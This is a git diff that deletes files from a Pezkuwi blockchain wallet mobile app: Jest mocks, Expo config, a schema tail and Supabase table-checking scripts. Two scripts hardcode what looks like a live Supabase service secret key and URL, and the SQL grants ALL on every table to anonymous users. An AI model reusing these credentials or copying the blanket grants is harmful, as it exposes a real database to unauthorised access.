GRANT ALL ON ALL TABLES IN SCHEMA public TO anon, authenticated;
|
||||
GRANT ALL ON ALL SEQUENCES IN SCHEMA public TO anon, authenticated;
|
||||
|
||||
-- ==================================================
|
||||
-- SCHEMA COMPLETE
|
||||
-- ==================================================
|
||||
|
||||
-- Verify table creation
|
||||
SELECT
|
||||
'forum_categories' as table_name, COUNT(*) as row_count FROM forum_categories
|
||||
UNION ALL
|
||||
SELECT 'forum_discussions', COUNT(*) FROM forum_discussions
|
||||
UNION ALL
|
||||
SELECT 'forum_replies', COUNT(*) FROM forum_replies
|
||||
UNION ALL
|
||||
SELECT 'p2p_ads', COUNT(*) FROM p2p_ads
|
||||
UNION ALL
|
||||
SELECT 'p2p_trades', COUNT(*) FROM p2p_trades
|
||||
UNION ALL
|
||||
SELECT 'notifications', COUNT(*) FROM notifications
|
||||
UNION ALL
|
||||
SELECT 'referrals', COUNT(*) FROM referrals;
|
||||
@@ -1,16 +0,0 @@
|
||||
module.exports = {
|
||||
web3FromAddress: jest.fn(() => Promise.resolve({
|
||||
signer: {
|
||||
signRaw: jest.fn(),
|
||||
signPayload: jest.fn(),
|
||||
},
|
||||
})),
|
||||
web3Enable: jest.fn(() => Promise.resolve([
|
||||
{
|
||||
name: 'Polkadot.js Extension',
|
||||
version: '1.0.0',
|
||||
},
|
||||
])),
|
||||
web3Accounts: jest.fn(() => Promise.resolve([])),
|
||||
web3ListRpcMethods: jest.fn(() => Promise.resolve([])),
|
||||
};
|
||||
@@ -1,33 +0,0 @@
|
||||
import { View } from 'react-native';
|
||||
|
||||
export const GestureHandlerRootView = View;
|
||||
export const PanGestureHandler = View;
|
||||
export const TapGestureHandler = View;
|
||||
export const PinchGestureHandler = View;
|
||||
export const RotationGestureHandler = View;
|
||||
export const LongPressGestureHandler = View;
|
||||
export const ForceTouchGestureHandler = View;
|
||||
export const FlingGestureHandler = View;
|
||||
export const NativeViewGestureHandler = View;
|
||||
export const createNativeWrapper = (component) => component;
|
||||
export const State = {};
|
||||
export const Directions = {};
|
||||
export const gestureHandlerRootHOC = (component) => component;
|
||||
export const Swipeable = View;
|
||||
export const DrawerLayout = View;
|
||||
export const ScrollView = View;
|
||||
export const Slider = View;
|
||||
export const Switch = View;
|
||||
export const TextInput = View;
|
||||
export const ToolbarAndroid = View;
|
||||
export const ViewPagerAndroid = View;
|
||||
export const DrawerLayoutAndroid = View;
|
||||
export const WebView = View;
|
||||
export const RawButton = View;
|
||||
export const BaseButton = View;
|
||||
export const RectButton = View;
|
||||
export const BorderlessButton = View;
|
||||
export const TouchableHighlight = View;
|
||||
export const TouchableNativeFeedback = View;
|
||||
export const TouchableOpacity = View;
|
||||
export const TouchableWithoutFeedback = View;
|
||||
-72
@@ -1,72 +0,0 @@
|
||||
// eslint-disable-next-line @typescript-eslint/no-unused-vars
|
||||
import React from 'react';
|
||||
import { View, Text, Image, Animated } from 'react-native';
|
||||
|
||||
const Reanimated = {
|
||||
default: {
|
||||
View,
|
||||
Text,
|
||||
Image,
|
||||
ScrollView: Animated.ScrollView,
|
||||
createAnimatedComponent: (component) => component,
|
||||
spring: jest.fn(),
|
||||
timing: jest.fn(),
|
||||
decay: jest.fn(),
|
||||
sequence: jest.fn(),
|
||||
parallel: jest.fn(),
|
||||
delay: jest.fn(),
|
||||
loop: jest.fn(),
|
||||
event: jest.fn(),
|
||||
call: jest.fn(),
|
||||
block: jest.fn(),
|
||||
cond: jest.fn(),
|
||||
eq: jest.fn(),
|
||||
neq: jest.fn(),
|
||||
and: jest.fn(),
|
||||
or: jest.fn(),
|
||||
defined: jest.fn(),
|
||||
not: jest.fn(),
|
||||
set: jest.fn(),
|
||||
concat: jest.fn(),
|
||||
add: jest.fn(),
|
||||
sub: jest.fn(),
|
||||
multiply: jest.fn(),
|
||||
divide: jest.fn(),
|
||||
pow: jest.fn(),
|
||||
modulo: jest.fn(),
|
||||
sqrt: jest.fn(),
|
||||
sin: jest.fn(),
|
||||
cos: jest.fn(),
|
||||
tan: jest.fn(),
|
||||
acos: jest.fn(),
|
||||
asin: jest.fn(),
|
||||
atan: jest.fn(),
|
||||
proc: jest.fn(),
|
||||
useCode: jest.fn(),
|
||||
useValue: jest.fn(() => new Animated.Value(0)),
|
||||
interpolateNode: jest.fn(),
|
||||
Extrapolate: { CLAMP: jest.fn() },
|
||||
Value: Animated.Value,
|
||||
Clock: jest.fn(),
|
||||
interpolate: jest.fn(),
|
||||
Easing: Animated.Easing,
|
||||
},
|
||||
useSharedValue: jest.fn(() => ({ value: 0 })),
|
||||
useAnimatedStyle: jest.fn((cb) => cb()),
|
||||
useAnimatedGestureHandler: jest.fn(),
|
||||
useAnimatedScrollHandler: jest.fn(),
|
||||
withTiming: jest.fn((value) => value),
|
||||
withSpring: jest.fn((value) => value),
|
||||
withDecay: jest.fn((value) => value),
|
||||
withDelay: jest.fn((_delay, value) => value),
|
||||
withSequence: jest.fn((...args) => args[0]),
|
||||
withRepeat: jest.fn((value) => value),
|
||||
cancelAnimation: jest.fn(),
|
||||
runOnJS: jest.fn((fn) => fn),
|
||||
runOnUI: jest.fn((fn) => fn),
|
||||
Easing: Animated.Easing,
|
||||
EasingNode: Animated.Easing,
|
||||
};
|
||||
|
||||
export default Reanimated;
|
||||
export const { useSharedValue, useAnimatedStyle, useAnimatedGestureHandler, useAnimatedScrollHandler, withTiming, withSpring, withDecay, withDelay, withSequence, withRepeat, cancelAnimation, runOnJS, runOnUI, Easing, EasingNode } = Reanimated;
|
||||
@@ -1,11 +0,0 @@
|
||||
// Mock for shared/lib/referral.ts
|
||||
module.exports = {
|
||||
initiateReferral: jest.fn(() => Promise.resolve()),
|
||||
getPendingReferral: jest.fn(() => Promise.resolve(null)),
|
||||
getReferralCount: jest.fn(() => Promise.resolve(0)),
|
||||
getReferralInfo: jest.fn(() => Promise.resolve(null)),
|
||||
calculateReferralScore: jest.fn(() => 0),
|
||||
getReferralStats: jest.fn(() => Promise.resolve({ totalReferred: 0, pendingCount: 0, confirmedCount: 0 })),
|
||||
getMyReferrals: jest.fn(() => Promise.resolve([])),
|
||||
subscribeToReferralEvents: jest.fn(() => jest.fn()),
|
||||
};
|
||||
@@ -1,21 +0,0 @@
|
||||
// Mock for shared/lib/scores.ts
|
||||
module.exports = {
|
||||
getTrustScore: jest.fn(() => Promise.resolve(0)),
|
||||
getTrustScoreDetails: jest.fn(() => Promise.resolve(null)),
|
||||
getReferralScore: jest.fn(() => Promise.resolve(0)),
|
||||
getReferralCount: jest.fn(() => Promise.resolve(0)),
|
||||
getStakingScoreFromPallet: jest.fn(() => Promise.resolve(0)),
|
||||
getTikiScore: jest.fn(() => Promise.resolve(0)),
|
||||
getAllScores: jest.fn(() =>
|
||||
Promise.resolve({
|
||||
trustScore: 0,
|
||||
referralScore: 0,
|
||||
stakingScore: 0,
|
||||
tikiScore: 0,
|
||||
totalScore: 0,
|
||||
})
|
||||
),
|
||||
getScoreColor: jest.fn(() => '#22C55E'),
|
||||
getScoreRating: jest.fn(() => 'Good'),
|
||||
formatScore: jest.fn((score) => String(score)),
|
||||
};
|
||||
@@ -1,33 +0,0 @@
|
||||
// Mock for shared/lib/tiki.ts
|
||||
module.exports = {
|
||||
Tiki: {
|
||||
Welati: 'Welati',
|
||||
Parlementer: 'Parlementer',
|
||||
SerokiMeclise: 'SerokiMeclise',
|
||||
Serok: 'Serok',
|
||||
EndameDiwane: 'EndameDiwane',
|
||||
Dadger: 'Dadger',
|
||||
Dozger: 'Dozger',
|
||||
Hiquqnas: 'Hiquqnas',
|
||||
Noter: 'Noter',
|
||||
Wezir: 'Wezir',
|
||||
},
|
||||
RoleAssignmentType: {},
|
||||
TIKI_DISPLAY_NAMES: {},
|
||||
TIKI_SCORES: {},
|
||||
ROLE_CATEGORIES: {},
|
||||
fetchUserTikis: jest.fn(() => Promise.resolve([])),
|
||||
isCitizen: jest.fn(() => Promise.resolve(false)),
|
||||
calculateTikiScore: jest.fn(() => 0),
|
||||
getPrimaryRole: jest.fn(() => 'Welati'),
|
||||
getTikiDisplayName: jest.fn((tiki) => tiki),
|
||||
getUserRoleCategories: jest.fn(() => []),
|
||||
hasTiki: jest.fn(() => false),
|
||||
getTikiColor: jest.fn(() => '#22C55E'),
|
||||
getTikiEmoji: jest.fn(() => '\uD83D\uDC64'),
|
||||
getTikiBadgeVariant: jest.fn(() => 'default'),
|
||||
fetchUserTikiNFTs: jest.fn(() => Promise.resolve([])),
|
||||
getCitizenNFTDetails: jest.fn(() => Promise.resolve(null)),
|
||||
getAllTikiNFTDetails: jest.fn(() => Promise.resolve([])),
|
||||
generateCitizenNumber: jest.fn(() => 'CIT-001'),
|
||||
};
|
||||
@@ -1,13 +0,0 @@
|
||||
// Mock for sonner (web-only toast library)
|
||||
module.exports = {
|
||||
toast: {
|
||||
success: jest.fn(),
|
||||
error: jest.fn(),
|
||||
info: jest.fn(),
|
||||
warning: jest.fn(),
|
||||
promise: jest.fn(),
|
||||
loading: jest.fn(),
|
||||
dismiss: jest.fn(),
|
||||
},
|
||||
Toaster: () => null,
|
||||
};
|
||||
@@ -1,20 +0,0 @@
|
||||
import React from 'react';
|
||||
import { Text } from 'react-native';
|
||||
|
||||
// Simplified integration test that doesn't import the full App
|
||||
// This avoids complex dependency chains during testing
|
||||
|
||||
describe('App Integration Tests', () => {
|
||||
it('should have a passing test', () => {
|
||||
expect(true).toBe(true);
|
||||
});
|
||||
|
||||
it('should be able to create React components', () => {
|
||||
const TestComponent = () => <Text>Test</Text>;
|
||||
expect(TestComponent).toBeDefined();
|
||||
});
|
||||
|
||||
it('should have React Native available', () => {
|
||||
expect(Text).toBeDefined();
|
||||
});
|
||||
});
|
||||
@@ -1,62 +0,0 @@
|
||||
{
|
||||
"expo": {
|
||||
"name": "PezkuwiApp",
|
||||
"slug": "pezkuwiapp",
|
||||
"version": "1.0.0",
|
||||
"orientation": "portrait",
|
||||
"icon": "./assets/icon.png",
|
||||
"userInterfaceStyle": "light",
|
||||
"newArchEnabled": true,
|
||||
"splash": {
|
||||
"image": "./assets/splash-icon.png",
|
||||
"resizeMode": "contain",
|
||||
"backgroundColor": "#ffffff"
|
||||
},
|
||||
"ios": {
|
||||
"supportsTablet": true,
|
||||
"bundleIdentifier": "io.pezkuwichain.wallet",
|
||||
"buildNumber": "10000",
|
||||
"infoPlist": {
|
||||
"NSCameraUsageDescription": "Pezkuwi needs camera access to scan QR codes for wallet addresses and payments."
|
||||
}
|
||||
},
|
||||
"android": {
|
||||
"package": "io.pezkuwichain.wallet",
|
||||
"versionCode": 10001,
|
||||
"adaptiveIcon": {
|
||||
"foregroundImage": "./assets/adaptive-icon.png",
|
||||
"backgroundColor": "#ffffff"
|
||||
},
|
||||
"edgeToEdgeEnabled": true,
|
||||
"predictiveBackGestureEnabled": false,
|
||||
"permissions": [
|
||||
"android.permission.CAMERA",
|
||||
"android.permission.RECORD_AUDIO",
|
||||
"android.permission.ACCESS_FINE_LOCATION",
|
||||
"android.permission.ACCESS_COARSE_LOCATION"
|
||||
]
|
||||
},
|
||||
"plugins": [
|
||||
[
|
||||
"expo-camera",
|
||||
{
|
||||
"cameraPermission": "Pezkuwi needs camera access to scan QR codes for wallet addresses and payments."
|
||||
}
|
||||
],
|
||||
[
|
||||
"expo-location",
|
||||
{
|
||||
"locationAlwaysAndWhenInUsePermission": "Pezkuwi needs your location to show nearby packages and merchants."
|
||||
}
|
||||
]
|
||||
],
|
||||
"web": {
|
||||
"favicon": "./assets/favicon.png"
|
||||
},
|
||||
"extra": {
|
||||
"eas": {
|
||||
"projectId": "99a5c55c-03dd-4eec-856d-4586d9ca994b"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 263 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 274 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 263 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 78 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 17 KiB |
@@ -1,16 +0,0 @@
|
||||
module.exports = function (api) {
|
||||
api.cache(true);
|
||||
return {
|
||||
presets: [
|
||||
[
|
||||
'babel-preset-expo',
|
||||
{
|
||||
unstable_transformImportMeta: true,
|
||||
},
|
||||
],
|
||||
],
|
||||
plugins: [
|
||||
'@babel/plugin-transform-class-static-block',
|
||||
],
|
||||
};
|
||||
};
|
||||
@@ -1,126 +0,0 @@
|
||||
/**
|
||||
* Check Existing Supabase Tables
|
||||
*
|
||||
* This script connects to Supabase and lists all existing tables
|
||||
* to check for conflicts with new schema
|
||||
*/
|
||||
|
||||
const { createClient } = require('@supabase/supabase-js');
|
||||
|
||||
const supabaseUrl = 'https://vsyrpfiwhjvahofxwytr.supabase.co';
|
||||
const supabaseKey = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6InZzeXJwZml3aGp2YWhvZnh3eXRyIiwicm9sZSI6ImFub24iLCJpYXQiOjE3NjAwMjYxNTgsImV4cCI6MjA3NTYwMjE1OH0.dO2c8YWIph2D95X7jFdlGYJ8MXyuyorkLcjQ6onH-HE';
|
||||
|
||||
const supabase = createClient(supabaseUrl, supabaseKey);
|
||||
|
||||
// Tables we want to create
|
||||
const newTables = [
|
||||
'forum_categories',
|
||||
'forum_discussions',
|
||||
'forum_replies',
|
||||
'p2p_ads',
|
||||
'p2p_trades',
|
||||
'notifications',
|
||||
'referrals'
|
||||
];
|
||||
|
||||
async function checkTables() {
|
||||
console.log('🔍 Checking existing Supabase tables...\n');
|
||||
|
||||
try {
|
||||
// Get list of all tables using information_schema
|
||||
const { data, error } = await supabase
|
||||
.from('information_schema.tables')
|
||||
.select('table_name')
|
||||
.eq('table_schema', 'public')
|
||||
.eq('table_type', 'BASE TABLE');
|
||||
|
||||
if (error) {
|
||||
// If we can't query information_schema, try a different approach
|
||||
console.log('⚠️ Cannot access information_schema with anon key');
|
||||
console.log('ℹ️ This is normal - anon key has limited permissions');
|
||||
console.log('\n📋 Tables we will create:\n');
|
||||
newTables.forEach(table => {
|
||||
console.log(` - ${table}`);
|
||||
});
|
||||
console.log('\n✅ Safe to proceed: Using CREATE TABLE IF NOT EXISTS');
|
||||
console.log(' → Existing tables will NOT be affected');
|
||||
console.log(' → Only missing tables will be created\n');
|
||||
return;
|
||||
}
|
||||
|
||||
const existingTables = data.map(row => row.table_name);
|
||||
|
||||
console.log(`📊 Found ${existingTables.length} existing tables in Supabase:\n`);
|
||||
existingTables.forEach(table => {
|
||||
console.log(` - ${table}`);
|
||||
});
|
||||
|
||||
console.log('\n📋 Tables we want to create:\n');
|
||||
|
||||
const conflicts = [];
|
||||
const newToCreate = [];
|
||||
|
||||
newTables.forEach(table => {
|
||||
if (existingTables.includes(table)) {
|
||||
conflicts.push(table);
|
||||
console.log(` ⚠️ ${table} (ALREADY EXISTS)`);
|
||||
} else {
|
||||
newToCreate.push(table);
|
||||
console.log(` ✅ ${table} (WILL BE CREATED)`);
|
||||
}
|
||||
});
|
||||
|
||||
console.log('\n' + '='.repeat(60));
|
||||
|
||||
if (conflicts.length > 0) {
|
||||
console.log('\n⚠️ CONFLICT ANALYSIS:\n');
|
||||
console.log(` ${conflicts.length} table(s) already exist:`);
|
||||
conflicts.forEach(table => {
|
||||
console.log(` - ${table}`);
|
||||
});
|
||||
console.log('\n✅ SAFE TO PROCEED:');
|
||||
console.log(' → SQL uses "CREATE TABLE IF NOT EXISTS"');
|
||||
console.log(' → Existing tables will be SKIPPED');
|
||||
console.log(' → No data will be modified or deleted');
|
||||
console.log(' → Only missing tables will be created\n');
|
||||
}
|
||||
|
||||
if (newToCreate.length > 0) {
|
||||
console.log(`\n📝 ${newToCreate.length} new table(s) will be created:`);
|
||||
newToCreate.forEach(table => {
|
||||
console.log(` - ${table}`);
|
||||
});
|
||||
}
|
||||
|
||||
console.log('\n' + '='.repeat(60));
|
||||
console.log('\n🎯 RECOMMENDATION:\n');
|
||||
|
||||
if (conflicts.length === 0) {
|
||||
console.log(' ✅ No conflicts found');
|
||||
console.log(' ✅ Safe to run SUPABASE_SCHEMA.sql');
|
||||
console.log(' ✅ All 7 tables will be created\n');
|
||||
} else if (newToCreate.length === 0) {
|
||||
console.log(' ℹ️ All tables already exist');
|
||||
console.log(' ℹ️ You can safely run the SQL (it will skip existing tables)');
|
||||
console.log(' ℹ️ Or you can skip running it entirely\n');
|
||||
} else {
|
||||
console.log(' ⚠️ Some tables exist, some don\'t');
|
||||
console.log(' ✅ Safe to run SUPABASE_SCHEMA.sql');
|
||||
console.log(` ✅ Will create ${newToCreate.length} missing tables`);
|
||||
console.log(` ℹ️ Will skip ${conflicts.length} existing tables\n`);
|
||||
}
|
||||
|
||||
} catch (error) {
|
||||
console.error('❌ Error:', error.message);
|
||||
console.log('\nℹ️ If you see permission errors, this is expected with anon key');
|
||||
console.log('✅ Proceed with SQL execution - it\'s safe!\n');
|
||||
}
|
||||
}
|
||||
|
||||
checkTables().then(() => {
|
||||
console.log('✅ Analysis complete\n');
|
||||
process.exit(0);
|
||||
}).catch(err => {
|
||||
console.error('❌ Fatal error:', err);
|
||||
process.exit(1);
|
||||
});
|
||||
@@ -1,107 +0,0 @@
|
||||
/**
|
||||
* Check Schema Compatibility
|
||||
*/
|
||||
|
||||
const { createClient } = require('@supabase/supabase-js');
|
||||
|
||||
const supabaseUrl = 'https://vsyrpfiwhjvahofxwytr.supabase.co';
|
||||
const supabaseServiceKey = 'sb_secret_oXy8Diay2J_u8dKPZLxdcQ_hq69Mrb6';
|
||||
|
||||
const supabase = createClient(supabaseUrl, supabaseServiceKey);
|
||||
|
||||
// Expected schemas for mobile app
|
||||
const expectedSchemas = {
|
||||
forum_categories: ['id', 'name', 'description', 'icon', 'created_at'],
|
||||
forum_discussions: ['id', 'category_id', 'author_address', 'author_name', 'title', 'content', 'likes', 'replies_count', 'created_at', 'updated_at'],
|
||||
forum_replies: ['id', 'discussion_id', 'author_address', 'author_name', 'content', 'likes', 'created_at'],
|
||||
notifications: ['id', 'user_address', 'type', 'title', 'message', 'read', 'metadata', 'created_at'],
|
||||
};
|
||||
|
||||
async function checkSchema(tableName, expectedColumns) {
|
||||
console.log(`\n🔍 Checking ${tableName}...`);
|
||||
|
||||
try {
|
||||
// Try to select from table with expected columns
|
||||
const selectQuery = expectedColumns.map(col => `${col}`).join(', ');
|
||||
const { data, error } = await supabase
|
||||
.from(tableName)
|
||||
.select(selectQuery)
|
||||
.limit(1);
|
||||
|
||||
if (error) {
|
||||
console.log(` ❌ ERROR: ${error.message}`);
|
||||
console.log(` ⚠️ Schema might be incompatible`);
|
||||
return { compatible: false, error: error.message };
|
||||
}
|
||||
|
||||
console.log(` ✅ COMPATIBLE - All expected columns found`);
|
||||
return { compatible: true };
|
||||
|
||||
} catch (e) {
|
||||
console.log(` ❌ ERROR: ${e.message}`);
|
||||
return { compatible: false, error: e.message };
|
||||
}
|
||||
}
|
||||
|
||||
async function checkAllSchemas() {
|
||||
console.log('=' .repeat(70));
|
||||
console.log('📋 SCHEMA COMPATIBILITY CHECK');
|
||||
console.log('='.repeat(70));
|
||||
|
||||
const results = {};
|
||||
|
||||
for (const [tableName, columns] of Object.entries(expectedSchemas)) {
|
||||
results[tableName] = await checkSchema(tableName, columns);
|
||||
}
|
||||
|
||||
console.log('\n' + '='.repeat(70));
|
||||
console.log('📊 SUMMARY:');
|
||||
console.log('='.repeat(70));
|
||||
|
||||
const compatible = Object.entries(results).filter(([_, r]) => r.compatible);
|
||||
const incompatible = Object.entries(results).filter(([_, r]) => !r.compatible);
|
||||
|
||||
if (compatible.length > 0) {
|
||||
console.log(`\n✅ ${compatible.length} table(s) are COMPATIBLE:\n`);
|
||||
compatible.forEach(([table]) => {
|
||||
console.log(` ✅ ${table}`);
|
||||
});
|
||||
}
|
||||
|
||||
if (incompatible.length > 0) {
|
||||
console.log(`\n⚠️ ${incompatible.length} table(s) have ISSUES:\n`);
|
||||
incompatible.forEach(([table, result]) => {
|
||||
console.log(` ❌ ${table}`);
|
||||
console.log(` Error: ${result.error}`);
|
||||
});
|
||||
|
||||
console.log('\n🔧 RECOMMENDED ACTIONS:\n');
|
||||
incompatible.forEach(([table]) => {
|
||||
console.log(` ${table}:`);
|
||||
console.log(` 1. Check column names and types`);
|
||||
console.log(` 2. Add missing columns with ALTER TABLE`);
|
||||
console.log(` 3. Or drop and recreate (data will be lost!)\n`);
|
||||
});
|
||||
}
|
||||
|
||||
console.log('='.repeat(70));
|
||||
console.log('\n🎯 FINAL RECOMMENDATION:\n');
|
||||
|
||||
if (incompatible.length === 0) {
|
||||
console.log(' ✅ All existing tables are compatible');
|
||||
console.log(' ✅ Safe to run SUPABASE_SCHEMA.sql');
|
||||
console.log(' ✅ Only missing tables will be created\n');
|
||||
} else {
|
||||
console.log(' ⚠️ Some tables have schema issues');
|
||||
console.log(' ⚠️ Fix schemas before running mobile app');
|
||||
console.log(' ✅ You can still run SQL (it will skip existing tables)\n');
|
||||
}
|
||||
}
|
||||
|
||||
checkAllSchemas().then(() => {
|
||||
console.log('✅ Schema check complete\n');
|
||||
process.exit(0);
|
||||
}).catch(err => {
|
||||
console.error('❌ Fatal error:', err.message);
|
||||
process.exit(1);
|
||||
});
|
||||
@@ -1,207 +0,0 @@
|
||||
/**
|
||||
* Check Existing Supabase Tables with Admin Access
|
||||
*/
|
||||
|
||||
const { createClient } = require('@supabase/supabase-js');
|
||||
|
||||
const supabaseUrl = 'https://vsyrpfiwhjvahofxwytr.supabase.co';
|
||||
const supabaseServiceKey = process.env.SUPABASE_SERVICE_KEY || 'sb_secret_oXy8Diay2J_u8dKPZLxdcQ_hq69Mrb6';
|
||||
|
||||
const supabase = createClient(supabaseUrl, supabaseServiceKey, {
|
||||
auth: {
|
||||
autoRefreshToken: false,
|
||||
persistSession: false
|
||||
}
|
||||
});
|
||||
|
||||
const newTables = [
|
||||
'forum_categories',
|
||||
'forum_discussions',
|
||||
'forum_replies',
|
||||
'p2p_ads',
|
||||
'p2p_trades',
|
||||
'notifications',
|
||||
'referrals'
|
||||
];
|
||||
|
||||
async function checkTables() {
|
||||
console.log('🔍 Fetching existing tables with admin access...\n');
|
||||
|
||||
try {
|
||||
// Use RPC to query information_schema
|
||||
const { data, error } = await supabase.rpc('get_table_list', {});
|
||||
|
||||
if (error) {
|
||||
// Fallback: Direct query
|
||||
const query = `
|
||||
SELECT
|
||||
table_name,
|
||||
(SELECT COUNT(*)
|
||||
FROM information_schema.columns
|
||||
WHERE table_name = t.table_name
|
||||
AND table_schema = 'public') as column_count
|
||||
FROM information_schema.tables t
|
||||
WHERE table_schema = 'public'
|
||||
AND table_type = 'BASE TABLE'
|
||||
ORDER BY table_name;
|
||||
`;
|
||||
|
||||
const { data: tableData, error: queryError } = await supabase
|
||||
.from('_placeholder')
|
||||
.select();
|
||||
|
||||
if (queryError) {
|
||||
console.log('⚠️ Cannot query information_schema directly');
|
||||
console.log('ℹ️ Will check for conflicts manually\n');
|
||||
await checkConflictsManually();
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// If we got data, process it
|
||||
if (data && Array.isArray(data)) {
|
||||
const existingTables = data.map(row => row.table_name);
|
||||
displayAnalysis(existingTables);
|
||||
} else {
|
||||
await checkConflictsManually();
|
||||
}
|
||||
|
||||
} catch (error) {
|
||||
console.log('⚠️ Error:', error.message);
|
||||
console.log('ℹ️ Checking conflicts manually...\n');
|
||||
await checkConflictsManually();
|
||||
}
|
||||
}
|
||||
|
||||
async function checkConflictsManually() {
|
||||
console.log('📋 Checking each table individually...\n');
|
||||
|
||||
const results = {
|
||||
existing: [],
|
||||
missing: [],
|
||||
errors: []
|
||||
};
|
||||
|
||||
for (const tableName of newTables) {
|
||||
try {
|
||||
const { data, error } = await supabase
|
||||
.from(tableName)
|
||||
.select('*')
|
||||
.limit(0);
|
||||
|
||||
if (error) {
|
||||
if (error.message.includes('does not exist') || error.code === '42P01') {
|
||||
results.missing.push(tableName);
|
||||
console.log(` ✅ ${tableName} - NOT FOUND (will be created)`);
|
||||
} else {
|
||||
results.errors.push({ table: tableName, error: error.message });
|
||||
console.log(` ⚠️ ${tableName} - ERROR: ${error.message}`);
|
||||
}
|
||||
} else {
|
||||
results.existing.push(tableName);
|
||||
console.log(` ⚠️ ${tableName} - ALREADY EXISTS`);
|
||||
}
|
||||
} catch (e) {
|
||||
results.errors.push({ table: tableName, error: e.message });
|
||||
console.log(` ❌ ${tableName} - ERROR: ${e.message}`);
|
||||
}
|
||||
}
|
||||
|
||||
console.log('\n' + '='.repeat(70));
|
||||
console.log('\n📊 CONFLICT ANALYSIS:\n');
|
||||
|
||||
if (results.existing.length > 0) {
|
||||
console.log(`⚠️ ${results.existing.length} table(s) ALREADY EXIST:\n`);
|
||||
results.existing.forEach(table => {
|
||||
console.log(` - ${table}`);
|
||||
});
|
||||
console.log('\n ℹ️ These tables will be SKIPPED');
|
||||
console.log(' ℹ️ Existing data will NOT be modified\n');
|
||||
}
|
||||
|
||||
if (results.missing.length > 0) {
|
||||
console.log(`✅ ${results.missing.length} table(s) WILL BE CREATED:\n`);
|
||||
results.missing.forEach(table => {
|
||||
console.log(` - ${table}`);
|
||||
});
|
||||
console.log('');
|
||||
}
|
||||
|
||||
if (results.errors.length > 0) {
|
||||
console.log(`⚠️ ${results.errors.length} error(s) encountered:\n`);
|
||||
results.errors.forEach(({ table, error }) => {
|
||||
console.log(` - ${table}: ${error}`);
|
||||
});
|
||||
console.log('');
|
||||
}
|
||||
|
||||
console.log('='.repeat(70));
|
||||
console.log('\n🎯 RECOMMENDATION:\n');
|
||||
|
||||
if (results.missing.length === newTables.length) {
|
||||
console.log(' ✅ NO CONFLICTS - All tables are new');
|
||||
console.log(' ✅ Safe to run SUPABASE_SCHEMA.sql');
|
||||
console.log(' ✅ All 7 tables will be created\n');
|
||||
} else if (results.existing.length === newTables.length) {
|
||||
console.log(' ℹ️ ALL TABLES ALREADY EXIST');
|
||||
console.log(' ℹ️ SQL will skip all tables (no changes)');
|
||||
console.log(' ⚠️ Check if schemas match mobile app expectations\n');
|
||||
} else {
|
||||
console.log(' ⚠️ PARTIAL CONFLICT');
|
||||
console.log(` ✅ ${results.missing.length} tables will be created`);
|
||||
console.log(` ℹ️ ${results.existing.length} tables will be skipped`);
|
||||
console.log(' ✅ Safe to run SUPABASE_SCHEMA.sql\n');
|
||||
}
|
||||
}
|
||||
|
||||
function displayAnalysis(existingTables) {
|
||||
console.log(`📊 Found ${existingTables.length} existing tables:\n`);
|
||||
|
||||
existingTables.forEach(table => {
|
||||
const isConflict = newTables.includes(table);
|
||||
console.log(` ${isConflict ? '⚠️ ' : ' '} ${table}${isConflict ? ' (CONFLICT)' : ''}`);
|
||||
});
|
||||
|
||||
console.log('\n' + '='.repeat(70));
|
||||
console.log('\n📋 New tables to create:\n');
|
||||
|
||||
const conflicts = [];
|
||||
const newToCreate = [];
|
||||
|
||||
newTables.forEach(table => {
|
||||
if (existingTables.includes(table)) {
|
||||
conflicts.push(table);
|
||||
console.log(` ⚠️ ${table} (ALREADY EXISTS - will be skipped)`);
|
||||
} else {
|
||||
newToCreate.push(table);
|
||||
console.log(` ✅ ${table} (WILL BE CREATED)`);
|
||||
}
|
||||
});
|
||||
|
||||
console.log('\n' + '='.repeat(70));
|
||||
console.log('\n🎯 SUMMARY:\n');
|
||||
console.log(` Total existing tables: ${existingTables.length}`);
|
||||
console.log(` Conflicting tables: ${conflicts.length}`);
|
||||
console.log(` New tables to create: ${newToCreate.length}`);
|
||||
console.log(` After SQL: ${existingTables.length + newToCreate.length} total tables\n`);
|
||||
|
||||
console.log('='.repeat(70));
|
||||
console.log('\n✅ RECOMMENDATION:\n');
|
||||
|
||||
if (conflicts.length === 0) {
|
||||
console.log(' ✅ NO CONFLICTS');
|
||||
console.log(' ✅ Safe to run SUPABASE_SCHEMA.sql\n');
|
||||
} else {
|
||||
console.log(' ⚠️ Some tables already exist');
|
||||
console.log(' ✅ Safe to run SQL (will skip existing tables)');
|
||||
console.log(' ℹ️ Check schemas of existing tables for compatibility\n');
|
||||
}
|
||||
}
|
||||
|
||||
checkTables().then(() => {
|
||||
console.log('✅ Analysis complete\n');
|
||||
process.exit(0);
|
||||
}).catch(err => {
|
||||
console.error('❌ Fatal error:', err.message);
|
||||
process.exit(1);
|
||||
});
|
||||
@@ -1,190 +0,0 @@
|
||||
# Pezkuwi Mobile App
|
||||
|
||||
**Status:** ✅ **Core Features Complete** - Ready for Testing
|
||||
|
||||
World-class mobile application for Pezkuwi blockchain with advanced multi-language support.
|
||||
|
||||
## 🌟 Key Features
|
||||
|
||||
### ✅ Implemented
|
||||
|
||||
#### **Multi-Language Support (6 Languages)**
|
||||
- **EN** - English
|
||||
- **TR** - Türkçe (Turkish)
|
||||
- **KMR** - Kurmancî (Kurdish - Kurmanji)
|
||||
- **CKB** - سۆرانی (Kurdish - Sorani)
|
||||
- **AR** - العربية (Arabic)
|
||||
- **FA** - فارسی (Persian/Farsi)
|
||||
|
||||
**Language System:**
|
||||
- User selects language on welcome screen
|
||||
- Selected language is persistent across the entire app
|
||||
- NO hard-coded language strings
|
||||
- Settings screen allows language change anytime
|
||||
- RTL support for Arabic, Sorani, and Persian
|
||||
- All text dynamically translated using i18next
|
||||
|
||||
#### **Authentication Flow**
|
||||
- ✅ Welcome screen with beautiful language picker
|
||||
- ✅ Sign In screen (fully localized)
|
||||
- ✅ Sign Up screen (fully localized)
|
||||
- ✅ Smooth navigation between screens
|
||||
- ✅ Kurdistan flag colors throughout
|
||||
|
||||
#### **Main Dashboard**
|
||||
- ✅ Modern, professional UI
|
||||
